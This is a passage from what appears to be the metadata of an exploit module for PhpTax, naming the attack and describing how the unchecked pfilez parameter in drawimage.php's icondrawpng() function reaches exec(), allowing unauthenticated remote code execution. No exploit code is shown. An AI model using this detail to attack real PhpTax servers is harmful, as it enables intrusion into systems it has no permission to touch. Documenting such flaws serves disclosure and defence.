'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",

'Description'=> %q{

This module exploits a vulnerability found in PhpTax, an income tax report

generator.When generating a PDF, the icondrawpng() function in drawimage.php

does not properly handle the pfilez parameter, which will be used in a exec()

statement, and then results in arbitrary remote code execution under the context

of the web server.Please note: authentication is not required to exploit this

vulnerability.
